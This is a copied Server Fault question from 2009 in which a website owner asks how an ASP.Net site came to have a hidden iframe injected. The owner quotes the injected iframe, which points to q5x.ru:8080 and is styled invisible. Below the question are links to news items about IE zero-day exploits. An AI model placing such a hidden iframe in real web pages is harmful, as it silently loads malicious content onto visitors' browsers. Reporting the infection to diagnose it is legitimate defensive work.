Website attacked with a hidden iframe (q5x.ru)

Posted by Dreas Grech on Server Fault See other posts from Server Fault or by Dreas Grech
Published on 2009-07-30T09:08:09Z Indexed on 2010/03/25 15:03 UTC
Read the original article Hit count: 457

Filed under:

q5x.ru

|

exploit

|

worm

|

website-attack

|

website

A website of mine has recently been infected with some sort of attack that involved injecting a hidden iframe, and it's source was from a site q5x.ru (do not link).

A Google search didn't help me in figuring out how this attack my have took place, so I was wondering if anyone of you may have encountered this same problem?

The iframe code was something of the sort:

<iframe src="http://q5x.ru:8080/index.php" width=109 height=175 style="visibility: hidden"></iframe>

As per request, I am running an ASP.Net website with a database, and as regards forms, it's obviously the ASP.Net form that's used for postbacks.

Related posts about exploit

Researcher Releases Exploit for IE Zero-Day Hole

as seen on Internet.com - Search for 'Internet.com'
A modest security warning about a vulnerability in Microsoft's Internet Explorer browser has quickly grown into something much larger thanks to the work of a hacker. >>> More
Hacker Releases Metasploit Exploit for IE Zero-Day Hole

as seen on Internet.com - Search for 'Internet.com'
What started as 'targeted' attacks may now expand into a full-blown pandemic, since a hacker figured out how to turn hints into a Metasploit exploit module. >>> More
Microsoft Offers IE Exploit Workaround, Promises Patch

as seen on Internet.com - Search for 'Internet.com'
On the heels of a researcher releasing an exploit for a newly discovered security hole, Microsoft has vowed to deliver a speedy patch and to help out worried users. >>> More
New DNSSEC Exploit Revealed, Should You Be Worried?

as seen on Internet.com - Search for 'Internet.com'
Its severity is rated "low," but patches are out for the second flaw in DNSSEC to be discovered in three months. DNS experts say some exploits are to be expected as the transition continues. >>> More
Metasploit Exploit Emerges for IE Zero-Day Vulnerability

as seen on Internet.com - Search for 'Internet.com'
This week's security warning from Microsoft for a zero-day hole in Internet Explorer has opened the door for a hacker to create a working model of how to exploit the vulnerability. >>> More

Developer IT